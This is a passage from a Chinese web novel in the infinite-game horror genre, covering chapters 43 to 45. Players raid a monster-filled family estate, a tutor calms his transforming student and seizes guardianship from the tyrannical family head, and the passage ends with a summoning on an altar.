“没错。”江家主死死盯住严岳,每个字都像是从齿缝中挤出来的一样,“这也是你们的报酬。” “只要你们能让江凯乐向江家低头认错,并真心认可我这个父亲,那么我将传授你们江家绝不对外公布的秘术!” 所有玩家都在此刻瞪大眼珠子。 众所周知玩家技能只能靠觉醒,觉醒之后无法更改,一人只有一个技能,哪怕清空属性复活重生,也还是那项技能。 能得到新技能,前所未有,从未听闻! 这奖励实在太丰厚了。玩家们被冲昏头脑,甚至忘记诡王副本的恐怖,拍着胸脯打包票自己能完成任务。 严岳一样呼吸急促。 见江家主像看偷家的仇人般死死盯着自己,他见好就收,往后退一步,让死士出面继续沟通。 这天晚上,风平浪静的只有江凯乐的卧室。 玩家们被一大群发疯的诡怪追着跑,有个倒霉的家伙还被咬没半边身体。 幸好严岳治愈类道具带得多,及时把人给救了回来。 也是这项交好的举动,让除胡昌和蝉生以外的五名玩家暂时联合在一起。 艰难抵挡住第一晚的怪物潮,他们在朝阳热烈的橙红色余晖下休养生息,交流白天调查到的副本线索。 严岳不知道这批队友的素质如何,斟酌话语,想着要如何提醒他们注意江家主的异常。 却听到双马尾的女玩家忽然说:“我认为老管家肯定有问题。试炼开场就能获得大量线索,哪有这么好的事?” “同意。”她穿风衣的同伴说道,“他告诉我们江家大少爷小时候烧死过人,却一点都不提前因后果,引导性太强。” “而且像这种和诡王有关的重要线索,换成我们所经历的那些副本,哪一个不是需要拼死拼活才能得到?他却迫不及待地抛了出来,生怕我们站队诡王一样。” 剩下的那名玩家弱弱举手道:“我今天打探消息,听到一个江家下人说‘大少爷不应该变成这样’,语气很微妙。” “不应该变成这样?那他们期待的大少爷应该是什么样子?”双马尾女呼地一下坐起身,“看来这群江家下人也不简单,明天抓几个典型,再用道具审问一下。” “那诡王怎么办?不提他最后到底会不会变成龙,按照诡王的特性,他的力量会一天比一天强,放任他成长下去,别说等到第七天,就是第三天我们都不一定能扛得住。” “这不是没到第三天吗?别着急,冷静点,等明天鉴定完诡王的成长数值再说。” “可是……” “哪怕最后面对一头龙,也比像胡昌那样触发死亡条件瞬间团灭要好吧?” “行。” 死士仿佛也被他们热烈的讨论气息所感染,朝严岳眼神请求。 得到允许后,他跟着道:“江家主也很奇怪,他好像极不情愿把盒子里的东西交给我们。” “不情愿就对了,说明那里面才是能影响到副本走向的关键物品。”风衣男说,“得想个办法把它偷过来。” “啊啊啊啊!我当时真是鬼迷心窍,差点答应他的请求,还好严会长眼尖及时阻止我们,不然真的血亏。” 风衣男嘴角抽搐:“你那是差点答应?我都来不及拽住你。” 双马尾女不好意思地嘿嘿笑:“那可是幸运道具,谁能忍得住呀!” “新技能……应该不会被系统清空,如果能拿到手,就算死掉也不亏。” 双马尾女伸手去搅风衣男的头发,后者任由她作怪。 直到差点被薅下来一把头发,他才吃痛地倒吸一口凉气,将女生的手拍掉。 看到双马尾女频频对自己使眼色,风衣男叹气,大手按着她脑袋揉几下,在人恼羞的反抗声中看向严岳。 “严会长,听说攻略组在试炼开始前给所有【6】玩家特别赞助。如今的你实力大增,是最有可能偷取到那个盒子的人。” 严岳面不改色地回视他:“你想说什么?” 如果这小情侣想借他实力最强的由头,道德绑架他去偷取盒子的话,那他只能在这里和他们分道扬镳。 小情侣还真是这个意思,但有个前提条件。 “我们拿命买。” 只见风衣男拿出个绑着飘带的拇指玩偶,飘带颜色就是女生衣服的橙黄色。他一直紧紧攥在手里。 相比之下,女生显得大方一点,把缠着蓝色飘带的玩偶举到严岳的面前,让人鉴定道具特效。 严岳鉴定完后难掩惊异。 这个玩偶的效果竟然和蝉生的技能一样,都是无条件替死! 一个蝉生就能让广大玩家热烈追捧,他们竟然一出手就是两个同效果道具? “全游戏只手可数的特级替死道具。整整两条命,一条我的,一条他的,和我们做交易,不亏吧?”女生笑嘻嘻地道。 “你们……”严岳震惊得说不出话。 新技能固然重要,但和试炼里的两条命比起来,谁能分得清价值高低? “对我们有利,才和你提出交易。”女生说道,“这两个道具对我们来说有点鸡肋。他替我死,我痛不欲生。我替他死,他生不如死。那不如最后一起死。” “而且,你是【6】。” 女生严肃地举起手来,掌腹朝外,五指张开。 她按住大拇指掰下去:“6。” 又按住食指掰下去:“这场试炼过了,就是7。” 随后按住中指:“8。” 按住无名指:“9。” 最后捏住小拇指,女生顿了顿,转向风衣男,表情瞬间温柔下来:“实不相瞒,进入无限游戏之前我和他正准备见家长。我俩还计划开一家早餐店,店铺价格都和房东谈好了,到时候我蒸包子他抻面。” 风衣男被女生暧昧难解的眼神看得脸颊飘红:“嗯……她做的包子很好吃。” “所以想让叔叔阿姨也尝尝。听他说自己的厨艺继承村里的厨师老爸,为了欢迎我,他爸还计划杀猪,那可是正宗的跑山猪!” 双马尾女转头,看向忽然哑声不言的严岳。 她的眼神熠熠生辉,与灿烂的朝阳两相辉映:“严会长,怎么样,要不要和我们做交易?” 再然后玩家轮流放哨,小睡四个小时,起来继续收集线索。 直到准备出手偷取道具的严岳,再次遇上一晚上消失不见的胡昌,并在对方的手里看到江家主不肯交出来的檀木盒。 在严岳原本的计划中,他准备先等江家主松懈,再找个机会摸到书房,用伪装类道具替换檀木盒。 这个准备工作可能要多花点时间,毕竟只是提及给出檀木盒,就差点让江家主杀人。 如果真的把东西偷出来,江家主恐怕会当场暴走,触发团灭条件。 可他万万没想到,胡昌的动作居然这么迅速,当天看到檀木盒,只用一个晚上就将东西偷出来。 ——要知道江家所有人会在晚上异化成诡怪,玩家在它们眼中不亚于恶狼撞上烤好的羊羔! 胡昌明显隐藏了自己的实力,但这不是严岳关注的重点。 他急切追问:“你有没有用替换道具?” “替换道具?”胡昌耸了耸肩,充满笑意的脸上恶意满满,“我可不像严会长你有攻略组的全力支持,咱们囊中羞涩,买不起什么替换道具。” 严岳闻言咬紧牙关,连忙在队伍频道给正在探索的其他玩家疯狂发消息示警,却发现消息根本发不出去! 他瞬间一惊,切到自己的状态栏,才发现不知道什么时候多出一个【无人区】的状态标识。 不仅显示无法和队友联系,甚至能屏蔽直播镜头! 严岳看着胡昌早有预料的笑脸,遍体生寒,感觉自己仿佛被卷入一场极大的阴谋。 直播功能和系统挂钩,就连特级道具都不能完全干扰系统,胡昌使用的道具只能是神级! 两人站在别墅的最顶端,可以看见无数的江家下人潮水般涌到东区,气势汹汹的模样宛若大军压境! 如果严岳没有记错,那就是小情侣离开前计划探索的区域。 “你们到底有什么企图?”严岳厉声道。 他不认为单单一个胡昌能拿出神级道具,对方的背后肯定还有其他指使者。 “企图?”胡昌随意地抛着檀木盒子,“如果你非要一个企图的话,可以认为我们是在自救。” “什么?” 对上严岳不解且愤怒的目光,胡昌说道:“严会长,你觉得自己和进入游戏前变化大不大?” 不等严岳回答,他笑着说道:“我觉得自己变化挺大。进游戏前我甚至连鱼都不敢杀,可是现在,看谁不爽我就想弄死谁,比喝水还轻松。” “游戏开始到现在一年,哪个玩家敢说自己手里没几条命?重生只能清空记忆,不会清空本能和精神状态,哪怕最后能够赎回地球,我们这3亿人也再也回不去了,真正能回来的只有那77亿人而已!” 胡昌脸色逐渐扭曲,攥着檀木盒子的手不断收缩,几乎将它捏碎:“我们并不是被选中的救世主,而是一群注定被抛弃的苦命儿!” 类似的问题,严岳不是没想过。 同样这问题也如随时可能爆炸的地雷,埋藏在所有玩家的心中。 别说杀生这种暴雷问题,就是一个人突逢变故,都会和从前大相径庭。 手上到底有没有沾过血,身上到底背负着几条命,普通人可能一眼感受不出来,那游戏开始前朝夕相处的家人呢? 可他们只能不去想,把那些对未来的恐惧和迷茫抛到脑后,才可以继续向前。所以娱乐风气盛行,玩家们能过一天是一天。 “你先别激动。”严岳看檀木盒子被胡昌捏出裂痕,双手平举,做出安抚的动作。 胡昌扯了扯嘴角,说道:“严岳,原本我没有把你当回事,可是这场副本很奇怪,没准还真能让你通关试炼。” “做出选择吧严岳。” “什么选择?” 胡昌的手指扣住盒子,不断加大力量,盒子表面一层木壳应声而碎,淅淅沥沥地从房顶上滑落,看得严岳呼吸急促。 胡昌一字一顿道:“是为自己的未来选择新技能,还是抱着那微乎其微的可能性继续通关?” 严岳脸色冷肃:“你想让我放弃试炼?” 胡昌正要继续说,忽然感受到脚下的楼房传来猛烈的摇晃感,不远处忽然爆发出滔天烈焰,橙红色火光如绽放的红莲烧透半边天! 这绝对不是那些玩家能闹出来的阵仗。 胡昌的目光飘过去一瞬。 也是这千分之一秒不到的刹那间,严岳忽然出手,用瞬发类攻击道具砍断他捏着檀木盒子的手臂! 鲜血喷涌,胡昌惨叫出声,脸色立刻煞白。 他的反应也很快,竟然不顾断手,飞速去抢掉落的木盒! 严岳也不是吃素的,他的个人数值可能逊胡昌三筹,可他积分多! 各种瞬发道具层出不穷,不要钱似地用,打得胡昌只能慌张躲避,无暇前进一步。 也是这个时候,正在争抢檀木盒的两人同时看到不远处泱泱赶来的人群,霎时愣住。 经过一天半的探索,两人已经通过各种手段把江家族谱认全。 他们看得见,位于人群前列首当其冲的人是……江世安? 除了铁青着脸的江世安以外,旁边还有一位雍容华贵的妇人,似乎是今天上午才探亲回家的江夫人。 不不不,不止这两个人。 他们紧接着又看到体态削瘦的江四爷,面无表情的江表叔,扶额叹气的江家表三舅父,脸色青白的江家大堂叔……甚至还有颤颤巍巍拄拐的新一代族老。 怕不是整个江家的精英怪和小BOSS都被招了过来! 而他们昨天才见过的某余姓家庭教师,就走在队伍的最前方,步履急促,似为领头者。 两人脸上是相同的懵逼。 什么鬼,这是让他们撞见了逼宫现场??? 第44章 请佛 ——胡昌贸然盗取特殊道具且没有对偷盗现场进行任何伪装,很快被保镖察觉。 ——江家主大发雷霆,熊熊怒火烧到每一名玩家的身上,勒令江家下人捉拿所有玩家并将他们极刑处死。 以上消息,是懵逼小情侣被虎背熊腰的保镖猝然围堵,从他们此起彼伏的怒喝质问中提取出来的。 人在江家晃,黑锅天上来。 两人简直恨不得一平底锅抽死胡昌。 眼下他们只能拼尽全力开跑,过程中和另一名玩家会面。 却不知道放在檀木盒子里的江家秘术到底犯了什么天大的忌讳!得知他们行踪的那一刻,江家主连轮椅都坐不住了,命令老管家推他出书房,循着动静一路夺命追杀。 看到身残志坚的江家主在下人的簇拥下面目狰狞地冲过来,急速转动的轮子和花岗石地面“呲啦——”擦出刺目的火花,玩家们齐齐绷不住,整张脸几乎石化裂开。 且因为江家主的现身,被召唤的下人们受影响再度暴动,原本还能算得上人形的身体膨胀变大,隐约浮现出青黑色的诡态。 它们表情僵硬,眼神空洞,不约而同盯过来,透着一股无机质的森寒,各项数值刹那间呈指数倍上升,随手一拳竟然能砸穿钢铁栅栏! 如此恐怖的力量和怪物潮规模,三名玩家根本无法抵挡。 更要命的是,触发必死条件后,就算现下侥幸不死,怪物也会锁定他们的方位追杀到天涯海角,逃跑也没用。 见严岳一直没有回消息,三名玩家情急之下使用集结令。 集结令并非强制召唤,也有通信功能,他们希望严岳能快点发现事态紧急。 谁知道,天上会忽然掉下个蝉生。 蝉生之前始终和江凯乐待在一起,而低级诡怪会被诡王气息震慑。 下人们不敢轻易靠近他们,蝉生也不知道玩家群体在被追杀。 他落地,被风衣男眼疾手快地拽着一起跑,仓促扭头时看到身后全是凶神恶煞的江家下人,当场一愣:“啊,好多人。” 对上蝉生清澈中透着愚蠢的眼神,三名玩家:“……” 大写的绝望.JPG 很快,玩家们被潮涌的诡怪逼到死角,不得不再次开战。所有人都挂了彩,包括蝉生。 江凯乐急急忙忙赶过来的时候,正看见一头诡怪猛然跃起,扬起铁钩般的利爪,在蝉生的胸口刮出五道深可见骨的伤痕! 试图突围的蝉生受到剧烈冲击,霎时失去平衡,从半空直线坠落。 江凯乐猝然僵在原地。 那一刻,时间仿佛被拖曳得无限漫长。 少年的瞳孔倒映着飞溅半空的血花,犹如被那刺目的鲜红渲染,漆黑的部分一点点透出猩红血色,直至全红。 其他三名玩家无意把傻孩子蝉生牵扯进大逃杀,但现在显然不是道歉愧疚的时间。见人受伤,连忙把他拽过来用道具治疗。 蝉生虽然感受不到疼痛,但失血过多后,难免脑子晕晕乎乎。 彼时脸色阴沉的江家主位于怪物潮的中心位置,因他的勒令进攻,玩家周围全是狂暴的诡怪。 巨大的嘶吼声如山呼海啸,震得人心脏狂跳,触目所及不是血盆大口就是尖锐的利爪。 玩家为应付攻击已经拼尽全力,无暇注意到突然现身的江凯乐。 直至炙热的火焰冲天而起,硬生生在汹涌的怪物潮里劈开一条路。 无数诡怪甚至来不及吼叫就在极致的高温中气化,一条被烈焰烧穿的沟壑自少年脚下一路蔓延至玩家前方的空地,残破嶙峋的石砖上满是漆黑的焦痕,散发着浓烈的焦臭味。 江家主骇然抬头,幸存的诡怪仓惶后退。 本来拥挤的道路瞬间空出一大片,喧嚣的场景死寂,唯有江凯乐单手捂着嘴巴,气喘不已。 在场玩家回头,目视少年脸颊生出的斑斓红磷,慕然瞪大双眼。 蝉生怔愣后回神,见江凯乐的状态不对劲,想要冲过去查看他的情况。 其他玩家惊骇不已,连忙将蝉生死死拽住,声音中满是战栗:“你傻的吗?!诡王已经步入狂暴状态,现在冲过去就是送死!” 江凯乐太阳穴青筋暴跳,细密的冷汗不断从毛孔渗出,又被高温蒸发。 他听到玩家们的呵斥声,用眼角余光瞄向蝉生。 见对方的伤口已经愈合,江凯乐紧锁着的眉头倏然展开。可很快,他就无法再体会到朋友还活着的高兴和庆幸。 ——嘴巴好痒,好像有很多牙齿冒出来了。 ——呼吸好热,身体好热,好累,好难受。 ——有谁在我耳边说话? 江凯乐拼命捂住嘴巴,可哪怕他把下颚摁得咔咔响,也无法阻止一颗颗獠牙在口腔中快速生成。 灼热的呼吸似岩浆划过鼻管,他的意识被汹涌的热意烧得涣散,仿佛能听到怪物潮中响起许多窃窃私语。 带着恶意,带着痛苦,带着绝望。 【凭什么杀掉老周,就因为四爷怀疑他手脚不干净?!】 【我要怎么才能救阿衣?她还活着吗?】 【背上的鞭伤化脓了,我在发烧,我会不会死?】 【脚趾又在流血,好痛,不行要忍住,不然连手上的指甲也会被……】 【前不久又有两个人进了江家医院没出来。】 【干他娘的江世安,我要拉他给我爸陪葬!】 【妹妹是江家表舅折磨死的,我终于找到证据了,可是我又能怎么办?】 【不能退缩,不能想跑,要是连我都在害怕,还有谁能替外公他们报仇?】 忽然那些充满仇恨的声调急转直下,满是悲痛和压不住的癫狂。 【江世荣到底什么狗屎运,坐着轮椅都没把他摔死!】 【杀不了?】 【杀不了!】 【江家人有鬼神庇护,我们杀不死他们。】 【又有人被揪出来当众处死,我们该怎么办,谁能来救救我们?】 【大少爷呢?大少爷在哪儿?】 【对对对!我们还有大少爷,抓周仪式上的许愿成功了,他可以帮我们对付江家人!】 【大少爷那么善良,让他看,好好地看着江家人怎么欺负我们,他一定会同情我们的。】 【把江家人做过的歹毒事都说给他听。】 【让他知道江家有多么恶心。】 【他是佛子。】 【他承众生愿。】 江凯乐的身体随灼热的喘息一起一伏,肩膀颤抖不停,好像有无形的重担压在上面。 不知从听到哪句话开始,他拼命捏住嘴巴的手放了下来,不再抑制獠牙的疯长。 【为什么大少爷会突然跑去烧掉祠堂,他知不知道这样会让大家受到牵连?!】 【是不是有人死了……佛子杀生了?】 【他真的是佛子吗?他也流着江家的血,还能庇护江家顺风顺水。】 【他就是头怪物!】 【怎么会这样……我们看着他长大,他不该是这样的,不该啊……】 呢喃声里充斥着不解和痛苦,随风而去,越来越远。 诸多满是恶意的心念交错在一起,如嘈杂的蜂鸣声在江凯乐的耳畔震响不绝。 一滴滚烫的泪水自江凯乐的眼角滑落,不等掉落在地上,就被火焰蒸发。 “我……” 江凯乐抬眸,看向一众不成人形的狰狞诡怪,哑声张嘴,却听到自己的喉管中传出阵阵龙吟,狠狠地抽了抽鼻子。 不哭。 少年擦了擦眼泪,对自己说。 他转动视线,猩红兽瞳盯着浑身毛骨悚然的江家主,咧开嘴巴,笑得灿烂:“父亲,我不要家主之位了。” “江家人该死。江家就不该存在。” 一句话吐出,他身上的红磷几乎翻长一倍。 诡王领域随之展开,地面无火自燃。 “所以。”江凯乐挺直腰背,抬了抬下巴,神情张扬得好像曾经那个意气风发的少年郎,“一切都……” 可他忍不住话里的颤音,也压不住眼里的泪水,红磷快速覆盖的脸颊上,努力挤出一个比哭还难看的笑容:“都结束……” 嘭。 一道清瘦的身影在诡王巨大的威压下全力冲过来,逆着高温和还未消散的火焰,把江凯乐从后一把搂入怀中。 江凯乐的后背陡然撞上熟悉的胸膛,满脑子决然被惊散。 他转身仰头的一瞬间,看见谢叙白红着眼睛高举手掌,似乎想要给他一巴掌。 但那巴掌没能打下去,因为谢叙白的另一只手把他拽得死紧,卡着位置没法下手。 又或者,他本来就舍不得打下去。 毕竟他的学生已经痛成了这样。 对上江凯乐的血瞳,谢叙白一字一顿:“江同学,你打算为恶人毅然赴死时,有没有想过爱你的人会怎么样?” 他来时撞见江凯乐高扬下巴,那突然放松的姿态,明摆着就是不想再活。 他不知道是哪一道恶念刺激江凯乐萌生死志,但无论如何,都得马上打消江凯乐寻死的念头。 是以谢叙白转头看向在队友手里疯狂挣扎的蝉生:“蝉生,过来帮我打晕他!” 江凯乐知道自己现在是个什么鬼样子,本貌暴露令他仓惶无措。 然而一切不安,都不及下一秒听到谢叙白怒声要打晕他。 江凯乐:“……老师?” 谢叙白攥紧江凯乐满是红磷的胳膊,又用另一只舍不得打他的手,轻柔擦掉少年眼角挂着的泪水。 ——这一幕江凯乐想都不敢想,他以为老师看到后会害怕,因为正常人都会怕。 谢叙白与他视线相齐,铿锵有力的语气令人信服:“江同学相信老师的,对不对?那么就听老师的话,好好睡一觉。” “等你睡醒起来,一切都会变好。” 江凯乐傻乎乎地看着谢叙白。 他不知道脑子是怎么想的,明明觉得江家很脏,自己也很脏,打算摧毁肮脏的一切,却被老师仅仅用两句话打消疯狂的念头。 或许是第一次看见谢叙白气到失态的样子,或许是第一次看见老师红了眼睛。 又或许是拽着胳膊的手太用力,仿佛不管他不慎从多黑的深渊掉下去,这只单薄却也结实的手,也会努力将他拉回人间。 “我信老师的。”江凯乐反手抱住谢叙白。有人可以给他依靠了,他终于不用再压抑自己的哭腔,“我一直都信您的!” 其他玩家面面相觑,解开束缚蝉生的道具控制效果。 蝉生风一样飞跑过去,看着哭成个泪人的江凯乐,笨拙地拍他脑袋:“不哭啊,不哭啊……” 他触及谢叙白的眼神,虽然不明白为什么,但还是一个手刀劈在江凯乐的后颈。 江凯乐没有抵抗,被打晕过去。闭上眼的那一刻,眼尾还是红红的。 谢叙白忍不住心疼地揉揉他的头发,把少年交给蝉生,语速极快,沉声嘱咐道:“你带着江凯乐回卧室,不要让任何一个人靠近他五十米内,等我来找你们,知道吗?” 蝉生用力点头,扛起江凯乐,双脚蹬地跳上楼房,头也不回地跑走。 诡王昏迷,领域消失,不再被威压和诡王气息压制的诡怪们再次躁动起来。 江家主刚才作为被领域压制的主要对象,全程动弹不得。 江凯乐昏迷后,他像被突然上了发条的朽坏木偶般狠狠弹跳一下,浑身被冷汗浸透,浑浊的眼睛里满是惊惧。 不等江家主回神发难,只见不远处的江家众人齐聚一起,在谢叙白的眼神威胁下,慢吞吞地走过来。 记载江家秘术的古籍丢失,对保管它的家主来说,绝对称得上一项重罪。 但江家主积威已久,他笃定就算其他人知道自己丢失秘术,只要过后能找回来,也无人胆敢说些什么,才做得这般大张旗鼓。 直至现在,看见大部分小有威势的江家人,好像要集体造反般冲到他的面前。 “江世安,你们这是要干什么?”江家主的声音阴狠得像淬了毒。 江世安有点怂,可瞄见谢叙白冷淡的眸子,想到让江家主知道自己亏掉几个亿会有什么样的后果,立时打了个寒蝉,硬着头皮说道:“二弟啊,别多想,我们一起过来,是想和你谈谈凯乐的教育问题。” 江家主:“什么?” 江世安一张胖脸憋得像猪肝:“就是说,有没有可能,你把咱们家的佛子养废了?” 江家主火气更盛:“你到底想说什么?!” 江夫人站出来,厉声道:“他的意思是百年难出一个的佛子,振兴全江家的希望,被你给毁了!” “闭嘴!江家的事情哪轮得着你一个外家女人插嘴?” 江家主忽然想起什么,转头语气不善地盯着谢叙白,目眦欲裂:“我知道你,江凯乐自己找来的家庭教师,是你把他们都叫了过来?” “呵,我倒不知道世家圈里出了这么一个大人物,当着我的面弄出这么大的手笔!你到底是什么人,想对江家做什么?” 谢叙白听着他刺耳尖锐的质问声,语气冷厉非常:“就像你听到的那样,你没资格再管束江凯乐。” 江家主一时间觉得荒谬又好笑。 江凯乐的重要性毋庸置疑,掌控他相当于掌控整个江家。 他笑的是作为外人的谢叙白,凭什么敢对一个父亲说他没资格管束自己的亲儿子,听那语气,似乎还想和自己争抚养权? 简直是滑天下之大稽! 他张嘴就要命令下人们抓住谢叙白。 这个人诡异得很,刚才竟然能安抚住狂暴的江凯乐,想杀还杀不得。 可没曾想,谢叙白开口后,那些江家人不知道被灌了什么迷魂汤,竟七嘴八舌地附和起这个外人的话。 “二哥,凯乐变成现在这副样子,你真没察觉到自己的问题?” “家主啊,我们刚才都看到了凯乐的疯狂,不能再这样下去了。” “您教导凯乐十几年,反而让他的心和江家越离越远,证明您的教育理念有误。” “放手吧家主,他可是佛子,我们的……” “够了!” 江家主脸皮扭曲,拐杖砸地发出嘭的巨响:“告诉我,他手里到底捏着你们什么把柄,全都帮着一个外人来朝我问罪,疯了吧?啊?!” 被说中心事,江家人虎躯一震。 但他们哪敢表现出来,江家规矩森严可不是说说而已。 特别是江世安,他色厉内荏地呵斥道:“二弟,这就是你的不对了,大家都说是你的错,你怎么能不认?” 江家主瞪着他们所有人,一时间气到失声。心里的荒唐感愈发浓重,不知道为什么作为家主的威严会失效。 本来用强权就能逼迫谢叙白就范的小事,这些人居然还真煞有其事地跟他讨论起了江凯乐的教育问题? 江家人什么时候讲过道理?? 他几乎想不管不顾地发火,把这些人挨个处置,可那样做,无疑是把自己推到众叛亲离的境地。 最关键的是,坚决以家族为重的族老为什么会向着谢叙白? 江家主捏着拐杖,忍耐怒火,阴恻恻地看向族老:“蔡老,您必须给我个解释。” 蔡老年老体衰,腰背深深地佝偻下去,嗓音粗糙得像磨砂纸,嘶声说道:“家主啊……您刚才难道没看出来,佛子差点就毁了江家?” 江家主张了张嘴。 他怎么看不出来? 就是因为看出来了,所以谢叙白叫蝉生把江凯乐敲晕带走的时候,他怕到一句阻拦的话都说不出来,才想要控制能稳住江凯乐的谢叙白! 蔡老仿佛知道江家主心存歹意,摇了摇头,望向谢叙白的瞬间,语气充满无法言喻的敬畏:“不能对他下手,他的身上……有佛的气息!” 在场江家人听到这里,全都一脸懵。 谢叙白不留痕迹地瞄向蔡老。 其他江家人都是他用秘密逼迫而来,唯独这个老人是自己等在路边,坚持跟他一起来。 那时候这老人的眼神,也带着和此时如出一辙的敬畏。 谢叙白有把握,在江家人的联合逼迫下,江家主最后也不敢对自己动手。所以他带上蔡老,想知道这个老人,还能给自己带来什么有利的筹码。 不过,佛的气息是什么东西? 那边江家人的反应极其激烈。 和江家主一样,就算他们暂时站谢叙白的立场,也无法相信青年身具佛息。 要知道谢叙白找他们帮忙时,只要求暂时得到江凯乐的教育权,没让他们彻底推翻江家主的统治,才让众人勉为其难地答应出面。 他们是江家人,蛇鼠一窝,更是一根绳上的蚂蚱,不可能真的帮外人对付江家主。 但要是谢叙白和佛挂钩,那身份就完全不一样了,能造成的影响更是无法估量! 见从未出过差错的蔡老肯定点头,江家人后背发凉,再三追问:“不可能的,您老再看看,他不是一个普通人吗?” 蔡老面露苦涩,拐杖敲敲地砖:“如果你们都不信,可以让他请佛。” 一刹那,万籁俱寂。 玩家们知道眼前的剧情已经不是他们能掌握的了,偷偷躲在后面观察情况,不敢吭声。 江家人则像被蔡老的话砸了个晕头转向,回过神来,惊疑不定地交换眼神。 “可是现任的活佛……从来没有回应过江家的请求。” 此话一出,现场又是一阵针落可闻的寂静。 脸色阴郁的江家主说道:“那就让他请,我倒要看看,他能请出个什么玩意。” 青年的嗓音忽然在此时插进来,强行打断江家主的话:“江家主,或许我的话还没有说明白,我不会配合你们请什么佛,你也没资格再教导江凯乐。” 众人齐齐看向他。 认识谢叙白的人都知道,他是个极其温和、心地柔软得一塌糊涂的人。 就算有人不小心让他重伤,他也会笑着安抚对方说没事。 然而此时此刻,谢叙白的眼神变了。 那双如玉剔透的眸眼依然平静坚定,却透着不容质疑的泠然气势,似乎能穿过没有消散的高温,化作实质性的压迫力。 因为自家学生的遭遇,他心里充满怒火。 无法解释一个人类为什么会有压制住诡怪的气势,明明这里随便一头小怪都能轻松杀死他。 江家主更是在触及他的眼神时,下意识慌乱回避。 而后又因自己居然会害怕一个普通人感到恼怒,不屑地讥讽道:“你以为自己是谁?你——” “我会叫醒江凯乐。”谢叙白一句话让在众江家人差点魂飞魄散,“如果你不让出监护权,那就让他毁掉江家。” “不要怀疑我能不能做到,你们都看到了,江凯乐刚才差点狂暴,是我成功安抚的他。” “要试试看吗,江家主?我只给你五秒的考虑时间。” 谢叙白面无表情地对上江家主不稳颤动的眼睛,任由谁听到他清冷坚决的语气,都不会怀疑他是在开玩笑。 只见青年启唇:“五,四,三……” 声声倒计时仿佛变作利爪,用力掐住江家主的咽喉!他的心脏也随之高悬在嗓子眼,几乎没等谢叙白说完,就脱口而出:“等等!” 这时蔡老拄着拐杖,步履蹒跚地上前一步,急切地拉住谢叙白的衣服:“您何必这样?” 他短促地喘上一口气,厉声道:“我做主,只要您愿意请佛,江凯乐日后就交由您抚养!” 包括江家主在内的江家人立时高声叫起来:“蔡老你开什么——” 他们的话没能说完,同时感觉到四肢百骸传来的剧痛,所有想要冲上去制止的动作都僵在半途,仿佛被无形的丝线硬生生地扯住关节。 一时间他们肝胆俱裂。 这是江家秘术在发挥效力,可是,为什么?! “可以么,这位先生?”蔡老捏着拐杖,本就风烛残年的躯体,仿佛瞬间又老上十岁,腰背几乎佝偻到地上去。 谢叙白看着他做小伏低的姿态,皱了皱眉头,将老人拉起来:“但您要知道,我对佛道一窍不通,从未有过涉猎,不可能请来什么在世活佛。” 他觉得江家的这名新任族老一定误会了什么。 “不会,不会……” 蔡老哆哆嗦嗦地伸出手指,指向谢叙白的影子:“毕竟祂那么喜欢您,时时刻刻都与您待在一起,只要您愿意呼唤祂,祂必会回应。” 谢叙白顺着他的视线看向自己的影子,一时没能理解蔡老的意思。 忽然,他猛地掀起眼皮,想到一种可能! 不消多时,一群人浩浩荡荡地前往后山,即江家祭坛所在之地。 祭坛是古代求神拜佛的标准样式。 最下面有个圆形的基座,层层台阶与之相连,平坦宽阔,每一处图案细节都彰显着古老久远的韵味。天坛则建造着一座小型宫殿,坛壝及围垣覆有各色琉璃瓦。 谢叙白还以为自己要先焚香沐浴,结果蔡老说不用,他便拾级而上,登至坛前。 此时的他心里抱着隐约的期颐,但他也无法鉴别蔡老是不是设计坑他,所以双腿肌肉依然绷紧,准备见势不对随时撤退。 江家人看向蔡老。据他们所知,请佛有诸多繁文缛节,从布置装饰到贡品敬香,每项都极其讲究,单是选定吉时就要再三卜算。 为什么一到谢叙白,就什么都不用了? 蔡老枯瘦的手掌不断摩挲拐杖上的裂纹,半阖上眼,默然不语。 在场只有他一人心里清楚,当谢叙白出现的那一刻,江家的气数便已断绝。 他只盼向谢叙白示弱,能让江家最后多留下几缕香火。 不知道这个祭坛有什么力量,谢叙白站在上面,逐渐感觉空气变得浓稠起来,泛起一股湿冷的白雾。 熟悉的气息染上皮肤,冰冷滑腻,顺着脚踝缠绕而上。 包括江家舞会那一晚,时隔三日,他终于再次听到故人的声音,心脏狠狠一跳。 【唔,白白,早安哦……我睡了多久啦?】 小触手不知道谢叙白心里的激动。 它好像做了一个漫长的梦,懒洋洋地用吸盘蹭蹭谢叙白的手臂,语气透着无意识的依赖。 突然它“嗅”到江家人身上散发的腐朽臭味,浓烈得让触手当场作呕,瞬间清醒,震惊地怒叫起来。 【白白谁掳走了你,好端端的你怎么跑到垃圾堆来了??】 第45章 你属河豚的吗 小触手“闻”到的臭味,当然不是普通的臭味,而是会侵蚀人体致其癫狂异化的邪气。 纵观这祭坛的四面八方,居然全都是这样的邪气!但凡谢叙白意志力稍微差一点,分分钟会被污染成怪物。 想到自己喜欢的人类差点遇害,怎么不让小触手震怒? 只骂垃圾堆不是小触手素质高,而是它脑仁不大的脑袋瓜里,所能想出来的最恶毒的形容词。 但是没关系,智力不够武力来凑。 ——它要毁掉这个肮脏的地方。 刹那间,小触手用身躯紧紧贴着谢叙白,露出来的根部不断朝外挤压,本来平静的阴影表面掀起壮阔的波澜。 祭坛外的江家众人看不见小触手,却能感受到脚下的土地传来剧烈的异动。下盘不稳的,直接一个跟头狠狠栽倒下去,痛得呲牙咧嘴。 但他们很快就顾不上这点小痛了。 只见刚才还晴朗湛蓝的天空忽然阴云密布,银蛇般粗壮的雷霆穿梭其中,乍然一响,震彻天地! 山里山外狂风大作,吹得树枝疯狂摇晃,在愈发昏暗的视野里,形如鬼影。 江家人一开始就没对谢叙白能够召唤出佛抱有什么希望。 如今见人只是随随便便往祭坛上面一站,顷刻间便开始地动山摇,何止是震撼可言? 另一头,严岳和死士匆匆忙忙地赶过来,被迎面袭来的飓风冲得东摇西晃,好不容易才站稳脚跟,顺着队友发的消息和他们会合。 此时他俩身上伤痕累累,神色疲累好似经历过一场大战,连使用治愈道具的精神力都已枯竭。 其他玩家见状,赶忙冲过去给人治疗。 看见严岳手中拿着的檀木盒子,皆都欣喜若狂。 “胡昌逃走了,他的身份不简单。”严岳仿佛知道他们在想什么,苦着脸摆了摆手,“我虽然从他的手里抢回这个关键道具,但是你们看。” 他将一本古籍从檀木盒子里取出,顺手交给旁边的马尾女。 这可是新技能啊!女生没想到严岳这么信任他们,受宠若惊地接过古籍,结果打开来一看,当场傻眼。 “这些鬼画符是什么东西?” 